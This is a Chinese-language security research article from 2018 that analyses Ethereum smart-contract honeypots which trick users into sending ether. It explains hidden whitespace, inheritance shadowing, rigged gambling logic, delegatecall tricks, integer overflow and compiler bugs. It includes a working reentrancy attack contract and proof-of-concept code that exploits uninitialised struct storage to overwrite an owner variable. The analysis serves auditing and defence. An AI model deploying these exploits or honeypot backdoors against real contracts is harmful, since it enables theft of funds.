作者:dawu&0x7F@知道創宇404區塊鏈安全研究團隊
時間:2018/06/26

0x00 前言

在學習區塊鏈相關知識的過程中,拜讀過一篇很好的文章《The phenomenon of smart contract honeypots》,作者詳細分析了他遇到的三種蜜罐智能合約,并將相關智能合約整理收集到Github項目smart-contract-honeypots

本文將對文中和評論中提到的 smart-contract-honeypotsSolidlity-Vulnerable 項目中的各蜜罐智能合約進行分析,根據分析結果將蜜罐智能合約的欺騙手段分為以下四個方面:

  • 古老的欺騙手段
  • 神奇的邏輯漏洞
  • 新穎的賭博游戲
  • 黑客的漏洞利用

基于已知的欺騙手段,我們通過內部的以太坊智能合約審計系統一共尋找到 118 個蜜罐智能合約地址,一共騙取了 34.7152916 個以太幣(2018/06/26 價值 102946 元人民幣),詳情請移步文末附錄部分。

0x01 古老的欺騙手段

對于該類蜜罐合約來說,僅僅使用最原始的欺騙手法。
這種手法是拙劣的,但也有著一定的誘導性。

1.1 超長空格的欺騙:WhaleGiveaway1

github 上看到的合約代碼如下:

細讀代碼會發現 GetFreebie() 的條件很容易被滿足:

if(msg.value>1 ether)
{
    msg.sender.transfer(this.balance);
}

只要轉賬金額大于 1 ether,就可以取走該智能合約里所有的以太幣。

但事實絕非如此,讓我們做出錯誤判斷的原因在于 github 在顯示超長行時不會自動換行。下圖是設置了自動換行的本地編輯器截圖:

圖中第 21 行和第 29 行就是蜜罐作者通過 超長空格 隱藏起來的代碼。所以實際的 脆弱點 是這樣的:

if(msg.value>1 ether)
{ 
    Owner.transfer(this.balance);
    msg.sender.transfer(this.balance);
}       

先將賬戶余額轉給合約的創立者,然后再將剩余的賬戶余額(也就是0)轉給轉賬的用戶(受害者)

與之類似的智能合約還有 TestToken,留待有興趣的讀者繼續分析:

0x02 神奇的邏輯漏洞

該類蜜罐合約用 2012年春晚小品《天網恢恢》中這么一段來表現最為合適:

送餐員: 外賣一共30元
騙子B: 沒零的,100!
送餐員: 行,我找你......70!(送餐員掏出70給騙子B)
騙子A: 哎,等會兒等會兒,我這有零的,30是吧,把那100給我吧!給,30!(騙子A拿走了B給送餐員的100元,又給了送餐員30元)
送餐員: 30元正好,再見!

該類漏洞也是如此,在看起來正常的邏輯下,總藏著這樣那樣的陷阱。

2.1 天上掉下的餡餅:Gift_1_ETH

contract Gift_1_ETH
{

    bool passHasBeenSet = false;
    bytes32 public hashPass;

    function SetPass(bytes32 hash)
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }

    function GetGift(bytes pass) returns (bytes32)
    {

        if( hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
        return sha3(pass);
    }

    function PassHasBeenSet(bytes32 hash)
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

整個智能合約的邏輯很簡單,三個關鍵函數功能如下:

  • SetPass(): 在轉賬大于 1 ether 并且 passHasBeenSetfalse (默認值就是false),就可以設置密碼 hashPass
  • GetGift(): 在輸入的密碼加密后與 hashPass 相等的情況下,就可以取走合約里所有的以太幣。
  • PassHasBeenSet():如果輸入的 hashhashPass 相等,則 passHasBeenSet 將會被設置成 true

如果我們想取走合約里所有的以太幣,只需要按照如下流程進行操作:

推特用戶 Alexey Pertsev 還為此寫了一個獲取禮物的 EXP

但實際場景中,受害者轉入一個以太幣后并沒有獲取到整個智能合約的余額,這是為什么呢?

這是因為在合約創立之后,任何人都可以對合約進行操作,包括合約的創建者:

合約創建者在合約 被攻擊 前,設置一個只有創建者知道的密碼并將 passHasBeenSet 置為 True,將只有合約創建者可以取出智能合約中的以太幣。

與之類似的智能合約還有 NEW_YEARS_GIFT

2.2 合約永遠比你有錢:MultiplicatorX3

function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }

對于 multiplicate() 而言,只要你轉賬的金額大于賬戶余額,就可以把 賬戶余額你本次轉賬的金額 都轉給一個可控的地址。

在這里我們需要知道:在調用 multiplicate() 時,賬戶余額 = 之前的賬戶余額 + 本次轉賬的金額。所以 msg.value >= this.balance 只有在原余額為0,轉賬數量為0的時候才會成立。也就意味著,賬戶余額永遠不會比轉賬金額小。

與之類似的智能合約還有 PINCODE

2.3 誰是合約主人:TestBank

 contract Owned {
     address public owner;
     function Owned() { owner = msg.sender; }
     modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
 }

 contract TestBank is Owned {
     address public owner = msg.sender;
     uint256 ecode;
     uint256 evalue;

     function useEmergencyCode(uint256 code) public payable {
         if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
     }

     function withdraw(uint amount) public onlyOwner {
         require(amount <= this.balance);
         msg.sender.transfer(amount);
     }

根據關鍵代碼的內容,如果我們可以通過 useEmergencyCode() 中的判斷,那就可以將 owner 設置為我們的地址,然后通過 withdraw() 函數就可以取出合約中的以太幣。

如果你也有了上述的分析,那么就需要學習一下 Solidity 中繼承的相關知識參考鏈接5

該部分引用自參考鏈接5
重點:Solidity的繼承原理是代碼拷貝,因此換句話說,繼承的寫法總是能夠寫成一個單獨的合約。
情況五:子類父類有相同名字的變量。 父類A的test1操縱父類中的variable,子類B中的test2操縱子類中的variable,父類中的test2因為沒被調用所以不存在。 解釋:對EVM來說,每個storage variable都會有一個唯一標識的slot id。在下面的例子說,雖然都叫做variable,但是從bytecode角度來看,他們是由不同的slot id來確定的,因此也和變量叫什么沒有關系。

contract A{  
    uint variable = 0;  
    function test1(uint a)  returns(uint){  
       variable++;  
       return variable;  
    }  
   function test2(uint a)  returns(uint){  
       variable += a;  
       return variable;  
    }  
}  
contract B is A{  
    uint variable = 0;  
    function test2(uint a) returns(uint){  
        variable++;  
        return variable;  
    }  
}  
====================  
contract B{  
    uint variable1 = 0;  
    uint variable2 = 0;  
    function test1(uint a)  returns(uint v){  
        variable1++;  
       return variable1;  
    }  
    function test2(uint a) returns(uint v){  
        variable2++;  
        return variable2;  
    }  
}  

根據樣例中的代碼,我們將該合約的核心代碼修改如下:

contract TestBank is Owned {
    address public owner1 = msg.sender;
    modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }

    address public owner2 = msg.sender;
    uint256 ecode;
    uint256 evalue;

    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
    }

    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }

變量 owner1 是父類 Owner 中的 owner 變量,而 owner2 是子類 TestBank 中的變量。useEmergencyCode()函數只會修改 owner2,而非 owner1,自然無法調用 withdraw()。 由于調用 useEmergencyCode() 時需要轉作者設置的 evalue wei 的以太幣,所以只會造成以太幣白白丟失。

0x03 新穎的賭博游戲

區塊鏈的去中心化給博彩行業帶來了新的機遇,然而久賭必輸這句話也不無道理。
本章將會給介紹四個基于區塊鏈的賭博游戲并分析莊家如何贏錢的。

3.1 加密輪盤賭輪:CryptoRoulette

 // CryptoRoulette
 //
 // Guess the number secretly stored in the blockchain and win the whole contract balance!
 // A new number is randomly chosen after each try.
 //
 // To play, call the play() method with the guessed number (1-20).  Bet price: 0.1 ether
 contract CryptoRoulette {

     uint256 private secretNumber;
     uint256 public lastPlayed;
     uint256 public betPrice = 0.1 ether;
     address public ownerAddr;

     struct Game {
         address player;
         uint256 number;
     }

     function shuffle() internal {
         // randomly set secretNumber with a value between 1 and 20
         secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
     }

     function play(uint256 number) payable public {
         require(msg.value >= betPrice && number <= 10);

         Game game;
         game.player = msg.sender;
         game.number = number;
         gamesPlayed.push(game);

         if (number == secretNumber) {
             // win!
             msg.sender.transfer(this.balance);
         }

         shuffle();
         lastPlayed = now;
     }

     function kill() public {
         if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
             suicide(msg.sender);
         }
     }

 }

該合約設置了一個 1-20 的隨機數:secretNumber,玩家通過調用 play() 去嘗試競猜這個數字,如果猜對,就可以取走合約中所有的錢并重新設置隨機數 secretNumber

這里存在兩層貓膩。第一層貓膩就出在這個 play()play() 需要滿足兩個條件才會運行:

  1. msg.value >= betPrice,也就是每次競猜都需要發送至少 0.1 個以太幣。
  2. number <= 10,競猜的數字不能大于 10

由于生成的隨機數在 1-20 之間,而競猜的數字不能大于 10, 那么如果隨機數大于 10 呢?將不會有人能競猜成功!所有被用于競猜的以太幣都會一直存儲在智能合約中。最終合約擁有者可以通過 kill() 函數取出智能合約中所有的以太幣。

在實際的場景中,我們還遇到過生成的隨機數在 1-10 之間,競猜數字不能大于 10 的智能合約。這樣的合約看似保證了正常的競猜概率,但卻依舊是蜜罐智能合約!這與前文說到的第二層貓膩有關。我們將會在下一節 3.2 開放地址彩票:OpenAddressLottery 中說到相關細節。有興趣的讀者可以讀完 3.2節 后再回來重新分析一下該合約。

3.2 開放地址彩票:OpenAddressLottery

3.2.1 蜜罐智能合約分析
 contract OpenAddressLottery{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }

    address owner; //address of the owner
    uint private secretSeed; //seed used to calculate number of an address
    uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
    uint LuckyNumber = 1; //if the number of an address equals 1, it wins

    function forceReseed() { //reseed initiated by the owner - for testing purposes
    require(msg.sender==owner);

    SeedComponents s;
    s.component1 = uint(msg.sender);
    s.component2 = uint256(block.blockhash(block.number - 1));
    s.component3 = block.difficulty*(uint)(block.coinbase);
    s.component4 = tx.gasprice * 7;

    reseed(s); //reseed
    }
 }

OpenAddressLottery的邏輯很簡單,每次競猜,都會根據競猜者的地址隨機生成 0 或者 1,如果生成的值和 LuckyNumber 相等的話(LuckyNumber初始值為1),那么競猜者將會獲得 1.9 倍的獎金。

對于安全研究人員來說,這個合約可能是這些蜜罐智能合約中價值最高的一個。在這里,我將會使用一個 demo 來說一說 Solidity 編譯器的一個 bug:

pragma solidity ^0.4.24;

contract OpenAddressLottery_test
{
    address public addr = 0xa;
    uint    public b    = 2;
    uint256 public c    = 3;
    bytes   public d    = "zzzz";

    struct SeedComponents{
        uint256 component1;
        uint256 component2;
        uint256 component3;
        uint256 component4;
    }

    function test() public{
        SeedComponents s;
        s.component1 = 252;
        s.component2 = 253;
        s.component3 = 254;
        s.component4 = 255;
    }
}

在運行 test() 之前,addrbcd的值如下圖所示:

在運行了 test() 之后,各值均被覆蓋。

這個 bug 已經被提交給官方,并將在 Solidity 0.5.0 中被修復。

截止筆者發文,Solidity 0.5.0 依舊沒有推出。這也就意味著,目前所有的智能合約都可能會受到該 bug 的影響。我們將會在 3.2.2節 中說一說這個 bug 可能的影響面。想了解蜜罐智能合約而非bug攻擊面的讀者可以跳過這一小節

對于該蜜罐智能合約而言,當 forceReseed()被調用后,s.component4 = tx.gasprice * 7; 將會覆蓋掉 LuckyNumber 的值,使之為 7。而用戶生成的競猜數字只會是 1 或者 0,這也就意味著用戶將永遠不可能贏得彩票。

3.2.2 Solidity 0.4.x 結構體局部變量引起的變量覆蓋

3.2.1節中,介紹了OpenAddressLottery 智能合約使用未初始化的結構體局部變量直接覆蓋智能合約中定義的前幾個變量,從而達到修改變量值的目的。

按照這種思路,特意構造某些參數的順序,比如將智能合約的余額值放在首部,那么通過變量覆蓋就可以修改余額值;除此之外,如果智能合約中常用的 owner 變量定義在首部,便可以造成權限提升。

示例代碼1如下(編譯器選擇最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):

pragma solidity ^0.4.0;

contract Test {

        address public owner;
        address public a;

        struct Seed {
                address x;
                uint256 y;
        }

        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }

        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

如圖所示,攻擊者 0x583031d1113ad414f02576bd6afabfb302140225 在調用 fake_foo() 之后,成功將 owner 修改成自己。

2.3節 中,介紹了 Solidity 的繼承原理是代碼拷貝。也就是最終都能寫成一個單獨的合約。這也就意味著,該 bug 也會影響到被繼承的父類變量,示例代碼2如下:

pragma solidity ^0.4.0;

contract Owner {

    address public owner;

    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}

contract Test is Owner {
    struct Seed {
        address x;
    }

    function Test() {
        owner = msg.sender;
    }

    function fake_foo() public {
        Seed s;
        s.x = msg.sender;
    }
}

相比于示例代碼1示例代碼2 更容易出現在現實生活中。由于 示例代碼2 配合復雜的邏輯隱蔽性較高,更容易被不良合約發布者利用。比如利用這種特性留 后門

參考鏈接10中,開發者認為由于某些原因,讓編譯器通過警告的方式通知用戶更合適。所以在目前 0.4.x 版本中,編譯器會通過警告的方式通知智能合約開發者;但這種存在安全隱患的代碼是可以通過編譯并部署的。

solidity 開發者將在 0.5.0 版本將該類問題歸于錯誤處理。

3.3 山丘之王:KingOfTheHill

 contract Owned {
     address owner;    
         function Owned() {
         owner = msg.sender;
     }
     modifier onlyOwner{
         if (msg.sender != owner)
             revert();
                 _;
     }
 }

 contract KingOfTheHill is Owned {
     address public owner;

     function() public payable {
         if (msg.value > jackpot) {
             owner = msg.sender;
             withdrawDelay = block.timestamp + 5 days;
         }
         jackpot+=msg.value;
     }

     function takeAll() public onlyOwner {
         require(block.timestamp >= withdrawDelay);
         msg.sender.transfer(this.balance);
         jackpot=0;
     }
 }

這個合約的邏輯是:每次請求 fallback(),變量 jackopt 就是加上本次傳入的金額。如果你傳入的金額大于之前的 jackopt,那么 owner 就會變成你的地址。

看到這個代碼邏輯,你是否感覺和 2.2節2.3節 有一定類似呢?

讓我們先看第一個問題:msg.value > jackopt是否可以成立?答案是肯定的,由于 jackopt+=msg.valuemsg.value > jackopt 判斷之后,所以不會出現 2.2節 合約永遠比你錢多的情況。

然而這個合約存在與 2.3節 同樣的問題。在 msg.value > jackopt 的情況下,KingOfTheHill 中的 owner 被修改為發送者的地址,但 Owned 中的 owner 依舊是合約創建人的地址。這也就意味著取錢函數 takeAll() 將永遠只有莊家才能調用,所有的賬戶余額都將會進入莊家的口袋。

與之類似的智能合約還有 RichestTakeAll

3.4 以太幣競爭游戲:RACEFORETH

 contract RACEFORETH {
    uint256 public SCORE_TO_WIN = 100 finney;
    uint256 public speed_limit = 50 finney;

    function race() public payable {
        if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
        require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);

        racerScore[msg.sender] += msg.value;
        racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);

        latestTimestamp = now;

        // YOU WON
        if (racerScore[msg.sender] >= SCORE_TO_WIN) {
            msg.sender.transfer(PRIZE);
        }
    }

    function () public payable {
        race();
    }
 }

這個智能合約有趣的地方在于它設置了最大轉賬上限是 50 finney,最小轉賬下限是 2 wei(條件是大于 1 wei,也就是最小 2 wei)。每次轉賬之后,最大轉賬上限都會縮小成原來的一半,當總轉賬數量大于等于 100 finney,那就可以取出莊家在初始化智能合約時放進的錢。

假設我們轉賬了 x 次,那我們最多可以轉的金額如下:

 50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3  ...... 50 * (1/2)^x

根據高中的知識可以知道,該數字將會永遠小于 100

 50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2 

而智能合約中設置的贏取條件就是總轉賬數量大于等于 100 finney。這也就意味著,沒有人可以達到贏取的條件!

0x04 黑客的漏洞利用

利用重入漏洞的The DAO事件直接導致了以太坊的硬分叉、利用整數溢出漏洞可能導致代幣交易出現問題。
DASP TOP10 中的前三: 重入漏洞、訪問控制、算數問題在這些蜜罐智能合約中均有體現。黑客在這場欺詐者的游戲中扮演著不可或缺的角色。

4.1 私人銀行(重入漏洞):PrivateBank

 function CashOut(uint _am)
{
        if(_am<=balances[msg.sender])
        {

                if(msg.sender.call.value(_am)())
                {
                        balances[msg.sender]-=_am;
                        TransferLog.AddMessage(msg.sender,_am,"CashOut");
                }
        }
}

了解過 DAO 事件以及重入漏洞可以很明顯地看出,CashOut() 存在重入漏洞。

在了解重入漏洞之前,讓我們先了解三個知識點:

  1. Solidity 的代碼執行限制。為了防止以太坊網絡被攻擊或濫用,智能合約執行的每一步都需要消耗 gas,俗稱燃料。如果燃料消耗完了但合約沒有執行完成,合約狀態會回滾。
  2. addr.call.value()(),通過 call() 的方式進行轉賬,會傳遞目前所有的 gas 進行調用。
  3. 回退函數fallback(): 回退函數將會在智能合約的 call 中被調用。

如果我們調用合約中的 CashOut(),關鍵代碼的調用過程如下圖:

由于回退函數可控,如果我們在回退函數中再次調用 CashOut(), 由于滿足 _am<=balances[msg.sender] ,將會再次轉賬,因此不斷循環,直至 合約中以太幣被轉完或 gas 消耗完。

根據上述分析寫出攻擊的代碼如下:

contract Attack {
    address owner;
    address victim;

    function Attack() payable { owner = msg.sender; }

    function setVictim(address target)  { victim = target; }

    function step1(uint256 amount)  payable {
        if (this.balance >= amount) {
            victim.call.value(amount)(bytes4(keccak256("Deposit()")));
        }
    }

    function step2(uint256 amount)  {
        victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
    }

    // selfdestruct, send all balance to owner
    function stopAttack()  {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount)  {
        step1(amount);
        step2(amount / 2);
    }

    function () payable {
        victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
    }
}

模擬的攻擊步驟如下:

1.正常用戶A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向該合約存入 50 ether

2.惡意攻擊者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建惡意智能合約Attack,實施攻擊。不僅取出了自己存入的 10 ether,還取出了 A 存入的 50 ether。用戶 A 的余額還是50 ether,而惡意攻擊者 B 的余額也因為發生溢出變成 115792089237316195423570985008687907853269984665640564039407584007913129639936

雖然此時用戶A的余額仍然存在,但由于合約中已經沒有以太幣了,所以A將無法取出其存入的50個以太幣

根據以上的案例可以得出如下結論:當普通用戶將以太幣存取該蜜罐智能合約地址,他的代幣將會被惡意攻擊者通過重入攻擊取出,雖然他依舊能查到在該智能合約中存入的代幣數量,但將無法取出相應的代幣。

4.2 偷梁換柱的地址(訪問控制):firstTest

   contract firstTest
  {
      address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
      address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
      address adr;
      uint256 public Limit= 1000000000000000000;

      function withdrawal()
      payable public
      {
          adr=msg.sender;
          if(msg.value>Limit)
          {  
              emails.delegatecall(bytes4(sha3("logEvent()")));
              adr.send(this.balance);
          }
      }

  }

邏輯看起去很簡單,只要在調用 withdrawal() 時發送超過 1 ether,該合約就會把余額全部轉給發送者。至于通過 delegatecall() 調用的 logEvent(),誰在意呢?

DASP TOP10 的漏洞中,排名第二的就是訪問控制漏洞,其中就說到 delegatecall()

delegatecall()call() 功能類似,區別僅在于 delegatecall() 僅使用給定地址的代碼,其它信息則使用當前合約(如存儲,余額等等)。這也就意味著調用的 logEvent() 也可以修改該合約中的參數,包括 adr

舉個例子,在第一個合約中,我們定義了一個變量 adr,在第二個合約中通過 delegatecall() 調用第一個合約中的 logEvent()。第二個合約中的第一個變量就變成了 0x1111。這也就意味著攻擊者完全有能力在 logEvent() 里面修改 adr 的值。

為了驗證我們的猜測,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址處的 opcodelogEvent() 處的關鍵邏輯如下:

翻譯成 Solidity 的偽代碼大致是:

  function logEvent(){
      if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){
          storage[2] = address of current contract;
      }
  }

這也就意味著,在調用蜜罐智能合約 firstTest 中的 withdrawal() 時,emails.delegatecall(bytes4(sha3("logEvent()"))); 將會判斷第一個變量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 設置為當前合約的地址。最終將會將該合約中的余額轉給當前合約而非消息的發送者。adr 參數被偷梁換柱!

4.3 僅僅是測試?(整數溢出):For_Test

 pragma solidity ^0.4.19;

 contract For_Test
 {
         function Test()
         payable
         public
         {
             if(msg.value> 0.1 ether)
             {
                 uint256 multi =0;
                 uint256 amountToTransfer=0;

                 for(var i=0;i<msg.value*2;i++)
                 {
                     multi=i*2;

                     if(multi<amountToTransfer)
                     {
                       break;  
                     }
                     else
                     {
                         amountToTransfer=multi;
                     }
                 }    
                 msg.sender.transfer(amountToTransfer);
             }
         }
 }

在說邏輯之前,我們需要明白兩個概念:

  1. msg.value 的單位是 wei。舉個例子,當我們轉 1 ether 時,msg.value = 1000000000000000000 (wei)
  2. 當我們使用 var i時,i 的數據類型將是 uint8,這個可以在 Solidity 官方手冊上找到。

如同官方文檔所說,當 i = 255 后,執行 i++,將會發生整數溢出,i 的值重新變成 0,這樣循環將不會結束。

根據這個智能合約的內容,只要轉超過 0.1 ether 并調用 Test() ,將會進入循環最終得到 amountToTransfer 的值,并將 amountToTransfer wei 發送給訪問者。在不考慮整數溢出的情況下,amountToTransfer 將會是 msg.value * 2。這也是這個蜜罐合約吸引人的地方。

正是由于 for 循環中的 i 存在整數溢出,在 i=255 執行 i++ 后, i = 0 導致 multi = 0 < amountToTransfer,提前終止了循環。

細細算來,轉賬至少了 0.1 ether(100000000000000000 wei) 的以太幣,該智能合約轉回 510 wei 以太幣。損失巨大。

與之類似的智能合約還有 Test1

4.4 股息分配(老版本編譯器漏洞):DividendDistributor

 function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
 {
        if(! target.call.value(amount)() )
                throw;
         Transfer(amount, message, target, currentOwner);
 }

 function divest(uint amount) public {
        if ( investors[msg.sender].investment == 0 || amount == 0)
                throw;
         // no need to test, this will throw if amount > investment
         investors[msg.sender].investment -= amount;
         sumInvested -= amount; 
         this.loggedTransfer(amount, "", msg.sender, owner);
 }

該智能合約大致有存錢、計算利息、取錢等操作。在最開始的分析中,筆者并未在整個合約中找到任何存在漏洞、不正常的地方,使用 Remix 模擬也沒有出現任何問題,一度懷疑該合約是否真的是蜜罐。直到打開了智能合約地址對應的頁面:

Solidity 0.4.12 之前,存在一個bug,如果空字符串 "" 用作函數調用的參數,則編碼器會跳過它。

舉例:當我們調用了 send(from,to,"",amount), 經過編譯器處理后的調用則是 send(from,to,amount)。 編寫測試代碼如下:

pragma solidity ^0.4.0;

contract DividendDistributorv3{
    event Transfer(uint amount,bytes32 message,address target,address currentOwner);

    function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) 
    {
        Transfer(amount, message, target, currentOwner);
    }

    function divest() public {
        this.loggedTransfer(1, "a", 0x1, 0x2);
        this.loggedTransfer(1, "", 0x1, 0x2);
    }
}

Remix 中將編譯器版本修改為 0.4.11+commit.68ef5810.Emscripten.clang后,執行 divest() 函數結果如下:

在這個智能合約中也是如此。當我們需要調用 divest() 取出我們存進去的錢,最終將會調用 this.loggedTransfer(amount, "", msg.sender, owner);

因為編譯器的 bug,最終調用的是 this.loggedTransfer(amount, msg.sender, owner);,具體的轉賬函數處就是 owner.call.value(amount) 。成功的將原本要轉給 msg.sender()的以太幣轉給 合約的擁有者。合約擁有者成功盜幣!

0x05 后記

在分析過程中,我愈發認識到這些蜜罐智能合約與原始的蜜罐概念是有一定差別的。相較于蜜罐是誘導攻擊者進行攻擊,智能合約蜜罐的目的變成了誘導別人轉賬到合約地址。在欺騙手法上,也有了更多的方式,部分方式具有強烈的參考價值,值得學習。

這些蜜罐智能合約的目的性更強,顯著區別與普通的 釣魚 行為。相較于釣魚行為面向大眾,蜜罐智能合約主要面向的是 智能合約開發者智能合約代碼審計人員擁有一定技術背景的黑客。因為蜜罐智能合約門檻更高,需要能夠看懂智能合約才可能會上當,非常有針對性,所以使用 蜜罐 這個詞,我認為是非常貼切的。

這也對 智能合約代碼審計人員 提出了更高的要求,不能只看懂代碼,要了解代碼潛在的邏輯和威脅、了解外部可能的影響面(例如編輯器 bug 等),才能知其然也知其所以然。

對于 智能合約代碼開發者 來說,先知攻 才能在代碼寫出前就擁有一定的警惕心理,從源頭上減少存在漏洞的代碼。

目前智能合約正處于新生階段,流行的 solidity 語言也還沒有發布正式 1.0 版本,很多語?的特性還需要發掘和完善;同時,區塊鏈的相關業務也暫時沒有出現完善的流水線操作。正因如此,在當前這個階段智能合約代碼審計更是相當的重要,合約的部署一定要經過嚴格的代碼審計。

最后感謝 404實驗室 的每一位小伙伴,分析過程中的無數次溝通交流,讓這篇文章羽翼漸豐。


針對目前主流的以太坊應用,知道創宇提供專業權威的智能合約審計服務,規避因合約安全問題導致的財產損失,為各類以太坊應用安全保駕護航。

知道創宇404智能合約安全審計團隊: https://www.scanv.com/lca/index.html
聯系電話:(086) 136 8133 5016(沈經理,工作日:10:00-18:00)

歡迎掃碼咨詢:

0x06 參考鏈接

  1. Github smart-contract-honeypots
  2. Github Solidlity-Vulnerable
  3. The phenomenon of smart contract honeypots
  4. Solidity 中文手冊
  5. Solidity原理(一):繼承(Inheritance)
  6. 區塊鏈安全 - DAO攻擊事件解析
  7. 以太坊智能合約安全入門了解一下
  8. Exposing Ethereum Honeypots
  9. Solidity Bug Info
  10. Uninitialised storage references should not be allowed

0x07 附錄:已知蜜罐智能合約地址以及交易情況

基于已知的欺騙手段,我們通過內部的以太坊智能合約審計系統一共尋找到 118 個蜜罐智能合約地址,具體結果如下:

下載地址:下載


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/631/